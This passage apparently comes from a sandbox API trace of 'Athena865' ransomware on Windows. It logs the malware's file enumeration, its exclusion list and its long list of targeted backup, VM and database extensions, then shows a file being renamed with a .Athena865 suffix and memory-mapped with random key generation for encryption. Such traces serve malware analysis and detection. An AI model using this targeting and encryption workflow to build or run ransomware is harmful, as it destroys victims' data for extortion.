(lpString=".ini") returned 4 [0072.652] lstrcmpiW (lpString1="IMPMAIL.DLL", lpString2=".ini") returned 1 [0072.652] lstrlenW (lpString=".sys") returned 4 [0072.652] lstrcmpiW (lpString1="IMPMAIL.DLL", lpString2=".sys") returned 1 [0072.653] lstrlenW (lpString="IMPMAIL.DLL") returned 11 [0072.653] lstrlenW (lpString="bak") returned 3 [0072.653] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0072.653] lstrlenW (lpString="ba_") returned 3 [0072.653] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0072.653] lstrlenW (lpString="dbb") returned 3 [0072.653] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0072.653] lstrlenW (lpString="vmdk") returned 4 [0072.653] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0072.653] lstrlenW (lpString="rar") returned 3 [0072.653] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0072.653] lstrlenW (lpString="zip") returned 3 [0072.653] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0072.653] lstrlenW (lpString="tgz") returned 3 [0072.653] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0072.653] lstrlenW (lpString="vbox") returned 4 [0072.653] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0072.653] lstrlenW (lpString="vdi") returned 3 [0072.653] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0072.653] lstrlenW (lpString="vhd") returned 3 [0072.653] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0072.653] lstrlenW (lpString="vhdx") returned 4 [0072.653] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0072.653] lstrlenW (lpString="avhd") returned 4 [0072.653] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0072.653] lstrlenW (lpString="db") returned 2 [0072.653] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0072.653] lstrlenW (lpString="db2") returned 3 [0072.653] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0072.653] lstrlenW (lpString="db3") returned 3 [0072.653] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0072.653] lstrlenW (lpString="dbf") returned 3 [0072.653] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0072.653] lstrlenW (lpString="mdf") returned 3 [0072.653] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0072.654] lstrlenW (lpString="mdb") returned 3 [0072.654] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0072.654] lstrlenW (lpString="sql") returned 3 [0072.654] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0072.654] lstrlenW (lpString="sqlite") returned 6 [0072.654] lstrcmpiW (lpString1="IL.DLL", lpString2="sqlite") returned -1 [0072.654] lstrlenW (lpString="sqlite3") returned 7 [0072.654] lstrcmpiW (lpString1="AIL.DLL", lpString2="sqlite3") returned -1 [0072.654] lstrlenW (lpString="sqlitedb") returned 8 [0072.654] lstrcmpiW (lpString1="MAIL.DLL", lpString2="sqlitedb") returned -1 [0072.654] lstrlenW (lpString="xml") returned 3 [0072.654] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0072.654] lstrlenW (lpString="$er") returned 3 [0072.654] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0072.654] lstrlenW (lpString="4dd") returned 3 [0072.654] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0072.654] lstrlenW (lpString="4dl") returned 3 [0072.654] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0072.654] lstrlenW (lpString="^^^") returned 3 [0072.654] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0072.654] lstrlenW (lpString="abs") returned 3 [0072.654] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0072.654] lstrlenW (lpString="abx") returned 3 [0072.654] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0072.654] lstrlenW (lpString="accdb") returned 5 [0072.654] lstrcmpiW (lpString1="L.DLL", lpString2="accdb") returned 1 [0072.654] lstrlenW (lpString="accdc") returned 5 [0072.654] lstrcmpiW (lpString1="L.DLL", lpString2="accdc") returned 1 [0072.654] lstrlenW (lpString="accde") returned 5 [0072.654] lstrcmpiW (lpString1="L.DLL", lpString2="accde") returned 1 [0072.654] lstrlenW (lpString="accdr") returned 5 [0072.654] lstrcmpiW (lpString1="L.DLL", lpString2="accdr") returned 1 [0072.654] lstrlenW (lpString="accdt") returned 5 [0072.654] lstrcmpiW (lpString1="L.DLL", lpString2="accdt") returned 1 [0072.655] lstrlenW (lpString="accdw") returned 5 [0072.655] lstrcmpiW (lpString1="L.DLL", lpString2="accdw") returned 1 [0072.655] lstrlenW (lpString="accft") returned 5 [0072.655] lstrcmpiW (lpString1="L.DLL", lpString2="accft") returned 1 [0072.655] lstrlenW (lpString="adb") returned 3 [0072.655] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0072.655] lstrlenW (lpString="adb") returned 3 [0072.655] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0072.655] lstrlenW (lpString="ade") returned 3 [0072.655] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0072.655] lstrlenW (lpString="adf") returned 3 [0072.655] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0072.655] lstrlenW (lpString="adn") returned 3 [0072.655] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0072.655] lstrlenW (lpString="adp") returned 3 [0072.655] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0072.655] lstrlenW (lpString="alf") returned 3 [0072.655] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0072.655] lstrlenW (lpString="ask") returned 3 [0072.655] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0072.655] lstrlenW (lpString="btr") returned 3 [0072.655] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0072.655] lstrlenW (lpString="cat") returned 3 [0072.655] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0072.655] lstrlenW (lpString="cdb") returned 3 [0072.655] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0072.655] lstrlenW (lpString="ckp") returned 3 [0072.655] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0072.655] lstrlenW (lpString="cma") returned 3 [0072.655] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0072.655] lstrlenW (lpString="cpd") returned 3 [0072.655] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0072.655] lstrlenW (lpString="dacpac") returned 6 [0072.656] lstrcmpiW (lpString1="IL.DLL", lpString2="dacpac") returned 1 [0072.656] lstrlenW (lpString="dad") returned 3 [0072.656] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0072.656] lstrlenW (lpString="dadiagrams") returned 10 [0072.656] lstrcmpiW (lpString1="MPMAIL.DLL", lpString2="dadiagrams") returned 1 [0072.656] lstrlenW (lpString="daschema") returned 8 [0072.656] lstrcmpiW (lpString1="MAIL.DLL", lpString2="daschema") returned 1 [0072.656] lstrlenW (lpString="db-journal") returned 10 [0072.656] lstrcmpiW (lpString1="MPMAIL.DLL", lpString2="db-journal") returned 1 [0072.656] lstrlenW (lpString="db-shm") returned 6 [0072.656] lstrcmpiW (lpString1="IL.DLL", lpString2="db-shm") returned 1 [0072.656] lstrlenW (lpString="db-wal") returned 6 [0072.656] lstrcmpiW (lpString1="IL.DLL", lpString2="db-wal") returned 1 [0072.656] lstrlenW (lpString="dbc") returned 3 [0072.656] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0072.656] lstrlenW (lpString="dbs") returned 3 [0072.656] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0072.656] lstrlenW (lpString="dbt") returned 3 [0072.656] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0072.656] lstrlenW (lpString="dbv") returned 3 [0072.656] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0072.656] lstrlenW (lpString="dbx") returned 3 [0072.656] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0072.656] lstrlenW (lpString="dcb") returned 3 [0072.656] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0072.656] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0072.656] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0072.656] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0072.657] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL.Athena865") returned 64 [0072.657] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\impmail.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\impmail.dll.athena865"), dwFlags=0x1) returned 1 [0072.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMPMAIL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\impmail.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0072.658] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=184680) returned 1 [0072.658] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0072.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539158 [0072.659] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0072.659] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0072.659] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0072.659] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.660] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2d470, lpName=0x0) returned 0x154 [0072.662] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2d470) returned 0x170000 [0072.670] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0072.671] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0072.671] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0072.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0072.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0072.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0072.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x51df88 [0072.671] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.671] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x51e0a0 [0072.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0072.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51e0a0 | out: hHeap=0x4f0000) returned 1 [0072.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0072.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51df88 | out: hHeap=0x4f0000) returned 1 [0072.672] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0072.674] CloseHandle (hObject=0x154) returned 1 [0072.674] CloseHandle (hObject=0x17c) returned 1 [0072.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539158 | out: hHeap=0x4f0000) returned 1 [0072.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0072.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0072.675] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd58ebfc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2f180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IMUTIL.DLL", cAlternateFileName="")) returned 1 [0072.675] lstrcmpiW (lpString1="IMUTIL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0072.675] lstrcmpiW (lpString1="IMUTIL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0072.675] lstrcmpiW (lpString1="IMUTIL.DLL", lpString2=".") returned 1 [0072.675] lstrcmpiW (lpString1="IMUTIL.DLL", lpString2="..") returned 1 [0072.675] lstrcmpiW (lpString1="IMUTIL.DLL", lpString2="windows") returned -1 [0072.675] lstrcmpiW (lpString1="IMUTIL.DLL", lpString2="bootmgr") returned 1 [0072.675] lstrcmpiW (lpString1="IMUTIL.DLL", lpString2="temp") returned -1 [0072.675] lstrcmpiW (lpString1="IMUTIL.DLL", lpString2="pagefile.sys") returned -1 [0072.675] lstrcmpiW (lpString1="IMUTIL.DLL", lpString2="boot") returned 1 [0072.675] lstrcmpiW (lpString1="IMUTIL.DLL", lpString2="ids.txt") returned 1 [0072.675] lstrcmpiW (lpString1="IMUTIL.DLL", lpString2="ntuser.dat") returned -1 [0072.675] lstrcmpiW (lpString1="IMUTIL.DLL", lpString2="perflogs") returned -1 [0072.675] lstrcmpiW (lpString1="IMUTIL.DLL", lpString2="MSBuild") returned -1 [0072.675] lstrlenW (lpString="IMUTIL.DLL") returned 10 [0072.675] lstrcpyW (in: lpString1=0x241e89e, lpString2="IMUTIL.DLL" | out: lpString1="IMUTIL.DLL") returned="IMUTIL.DLL" [0072.675] lstrlenW (lpString="IMUTIL.DLL") returned 10 [0072.675] lstrlenW (lpString="Athena865") returned 9 [0072.675] lstrcmpiW (lpString1="MUTIL.DLL", lpString2="Athena865") returned 1 [0072.675] lstrlenW (lpString=".dll") returned 4 [0072.675] lstrcmpiW (lpString1="IMUTIL.DLL", lpString2=".dll") returned 1 [0072.675] lstrlenW (lpString=".lnk") returned 4 [0072.675] lstrcmpiW (lpString1="IMUTIL.DLL", lpString2=".lnk") returned 1 [0072.675] lstrlenW (lpString=".ini") returned 4 [0072.675] lstrcmpiW (lpString1="IMUTIL.DLL", lpString2=".ini") returned 1 [0072.675] lstrlenW (lpString=".sys") returned 4 [0072.675] lstrcmpiW (lpString1="IMUTIL.DLL", lpString2=".sys") returned 1 [0072.675] lstrlenW (lpString="IMUTIL.DLL") returned 10 [0072.675] lstrlenW (lpString="bak") returned 3 [0072.676] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0072.676] lstrlenW (lpString="ba_") returned 3 [0072.676] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0072.676] lstrlenW (lpString="dbb") returned 3 [0072.676] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0072.676] lstrlenW (lpString="vmdk") returned 4 [0072.676] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0072.676] lstrlenW (lpString="rar") returned 3 [0072.676] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0072.676] lstrlenW (lpString="zip") returned 3 [0072.676] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0072.676] lstrlenW (lpString="tgz") returned 3 [0072.676] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0072.676] lstrlenW (lpString="vbox") returned 4 [0072.676] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0072.676] lstrlenW (lpString="vdi") returned 3 [0072.676] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0072.676] lstrlenW (lpString="vhd") returned 3 [0072.676] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0072.676] lstrlenW (lpString="vhdx") returned 4 [0072.676] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0072.676] lstrlenW (lpString="avhd") returned 4 [0072.676] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0072.676] lstrlenW (lpString="db") returned 2 [0072.676] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0072.676] lstrlenW (lpString="db2") returned 3 [0072.676] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0072.676] lstrlenW (lpString="db3") returned 3 [0072.676] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0072.676] lstrlenW (lpString="dbf") returned 3 [0072.676] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0072.676] lstrlenW (lpString="mdf") returned 3 [0072.676] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0072.677] lstrlenW (lpString="mdb") returned 3 [0072.677] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0072.677] lstrlenW (lpString="sql") returned 3 [0072.677] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0072.677] lstrlenW (lpString="sqlite") returned 6 [0072.677] lstrcmpiW (lpString1="IL.DLL", lpString2="sqlite") returned -1 [0072.677] lstrlenW (lpString="sqlite3") returned 7 [0072.677] lstrcmpiW (lpString1="TIL.DLL", lpString2="sqlite3") returned 1 [0072.677] lstrlenW (lpString="sqlitedb") returned 8 [0072.677] lstrcmpiW (lpString1="UTIL.DLL", lpString2="sqlitedb") returned 1 [0072.677] lstrlenW (lpString="xml") returned 3 [0072.677] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0072.677] lstrlenW (lpString="$er") returned 3 [0072.677] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0072.677] lstrlenW (lpString="4dd") returned 3 [0072.677] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0072.677] lstrlenW (lpString="4dl") returned 3 [0072.677] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0072.677] lstrlenW (lpString="^^^") returned 3 [0072.677] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0072.677] lstrlenW (lpString="abs") returned 3 [0072.677] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0072.677] lstrlenW (lpString="abx") returned 3 [0072.677] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0072.677] lstrlenW (lpString="accdb") returned 5 [0072.677] lstrcmpiW (lpString1="L.DLL", lpString2="accdb") returned 1 [0072.677] lstrlenW (lpString="accdc") returned 5 [0072.677] lstrcmpiW (lpString1="L.DLL", lpString2="accdc") returned 1 [0072.677] lstrlenW (lpString="accde") returned 5 [0072.677] lstrcmpiW (lpString1="L.DLL", lpString2="accde") returned 1 [0072.677] lstrlenW (lpString="accdr") returned 5 [0072.677] lstrcmpiW (lpString1="L.DLL", lpString2="accdr") returned 1 [0072.677] lstrlenW (lpString="accdt") returned 5 [0072.678] lstrcmpiW (lpString1="L.DLL", lpString2="accdt") returned 1 [0072.678] lstrlenW (lpString="accdw") returned 5 [0072.678] lstrcmpiW (lpString1="L.DLL", lpString2="accdw") returned 1 [0072.678] lstrlenW (lpString="accft") returned 5 [0072.678] lstrcmpiW (lpString1="L.DLL", lpString2="accft") returned 1 [0072.678] lstrlenW (lpString="adb") returned 3 [0072.678] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0072.678] lstrlenW (lpString="adb") returned 3 [0072.678] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0072.678] lstrlenW (lpString="ade") returned 3 [0072.678] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0072.678] lstrlenW (lpString="adf") returned 3 [0072.678] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0072.678] lstrlenW (lpString="adn") returned 3 [0072.678] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0072.678] lstrlenW (lpString="adp") returned 3 [0072.678] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0072.678] lstrlenW (lpString="alf") returned 3 [0072.678] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0072.678] lstrlenW (lpString="ask") returned 3 [0072.678] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0072.678] lstrlenW (lpString="btr") returned 3 [0072.678] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0072.678] lstrlenW (lpString="cat") returned 3 [0072.678] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0072.678] lstrlenW (lpString="cdb") returned 3 [0072.678] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0072.678] lstrlenW (lpString="ckp") returned 3 [0072.678] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0072.678] lstrlenW (lpString="cma") returned 3 [0072.678] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0072.678] lstrlenW (lpString="cpd") returned 3 [0072.679] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0072.679] lstrlenW (lpString="dacpac") returned 6 [0072.679] lstrcmpiW (lpString1="IL.DLL", lpString2="dacpac") returned 1 [0072.679] lstrlenW (lpString="dad") returned 3 [0072.679] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0072.679] lstrlenW (lpString="dadiagrams") returned 10 [0072.679] lstrlenW (lpString="daschema") returned 8 [0072.679] lstrcmpiW (lpString1="UTIL.DLL", lpString2="daschema") returned 1 [0072.679] lstrlenW (lpString="db-journal") returned 10 [0072.679] lstrlenW (lpString="db-shm") returned 6 [0072.679] lstrcmpiW (lpString1="IL.DLL", lpString2="db-shm") returned 1 [0072.679] lstrlenW (lpString="db-wal") returned 6 [0072.679] lstrcmpiW (lpString1="IL.DLL", lpString2="db-wal") returned 1 [0072.679] lstrlenW (lpString="dbc") returned 3 [0072.679] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0072.679] lstrlenW (lpString="dbs") returned 3 [0072.679] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0072.679] lstrlenW (lpString="dbt") returned 3 [0072.679] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0072.679] lstrlenW (lpString="dbv") returned 3 [0072.679] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0072.679] lstrlenW (lpString="dbx") returned 3 [0072.679] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0072.679] lstrlenW (lpString="dcb") returned 3 [0072.679] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0072.679] lstrlenW (lpString="dct") returned 3 [0072.679] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0072.679] lstrlenW (lpString="dcx") returned 3 [0072.679] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0072.679] lstrlenW (lpString="ddl") returned 3 [0072.679] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0072.679] lstrlenW (lpString="dlis") returned 4 [0072.680] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0072.680] lstrlenW (lpString="dp1") returned 3 [0072.680] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0072.680] lstrlenW (lpString="dqy") returned 3 [0072.680] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0072.680] lstrlenW (lpString="dsk") returned 3 [0072.680] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0072.680] lstrlenW (lpString="dsn") returned 3 [0072.680] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0072.680] lstrlenW (lpString="dtsx") returned 4 [0072.680] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0072.680] lstrlenW (lpString="dxl") returned 3 [0072.680] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0072.680] lstrlenW (lpString="eco") returned 3 [0072.680] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0072.680] lstrlenW (lpString="ecx") returned 3 [0072.680] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0072.680] lstrlenW (lpString="edb") returned 3 [0072.680] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0072.680] lstrlenW (lpString="epim") returned 4 [0072.680] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0072.680] lstrlenW (lpString="fcd") returned 3 [0072.680] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0072.680] lstrlenW (lpString="fdb") returned 3 [0072.680] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0072.680] lstrlenW (lpString="fic") returned 3 [0072.680] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0072.680] lstrlenW (lpString="flexolibrary") returned 12 [0072.680] lstrlenW (lpString="fm5") returned 3 [0072.680] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0072.680] lstrlenW (lpString="fmp") returned 3 [0072.680] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0072.680] lstrlenW (lpString="fmp12") returned 5 [0072.681] lstrcmpiW (lpString1="L.DLL", lpString2="fmp12") returned 1 [0072.681] lstrlenW (lpString="fmpsl") returned 5 [0072.681] lstrcmpiW (lpString1="L.DLL", lpString2="fmpsl") returned 1 [0072.681] lstrlenW (lpString="fol") returned 3 [0072.681] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0072.681] lstrlenW (lpString="fp3") returned 3 [0072.681] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0072.681] lstrlenW (lpString="fp4") returned 3 [0072.681] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0072.681] lstrlenW (lpString="fp5") returned 3 [0072.681] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0072.681] lstrlenW (lpString="fp7") returned 3 [0072.681] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0072.681] lstrlenW (lpString="fpt") returned 3 [0072.681] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0072.681] lstrlenW (lpString="frm") returned 3 [0072.681] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0072.681] lstrlenW (lpString="gdb") returned 3 [0072.681] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0072.681] lstrlenW (lpString="gdb") returned 3 [0072.681] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0072.681] lstrlenW (lpString="grdb") returned 4 [0072.681] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0072.681] lstrlenW (lpString="gwi") returned 3 [0072.681] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0072.681] lstrlenW (lpString="hdb") returned 3 [0072.681] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0072.681] lstrlenW (lpString="his") returned 3 [0072.681] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0072.681] lstrlenW (lpString="ib") returned 2 [0072.681] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0072.681] lstrlenW (lpString="idb") returned 3 [0072.681] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0072.682] lstrlenW (lpString="ihx") returned 3 [0072.682] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0072.682] lstrlenW (lpString="itdb") returned 4 [0072.682] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0072.682] lstrlenW (lpString="itw") returned 3 [0072.682] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0072.682] lstrlenW (lpString="jet") returned 3 [0072.682] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0072.682] lstrlenW (lpString="jtx") returned 3 [0072.682] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0072.682] lstrlenW (lpString="kdb") returned 3 [0072.682] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0072.682] lstrlenW (lpString="kexi") returned 4 [0072.682] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0072.682] lstrlenW (lpString="kexic") returned 5 [0072.682] lstrcmpiW (lpString1="L.DLL", lpString2="kexic") returned 1 [0072.682] lstrlenW (lpString="kexis") returned 5 [0072.682] lstrcmpiW (lpString1="L.DLL", lpString2="kexis") returned 1 [0072.682] lstrlenW (lpString="lgc") returned 3 [0072.682] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 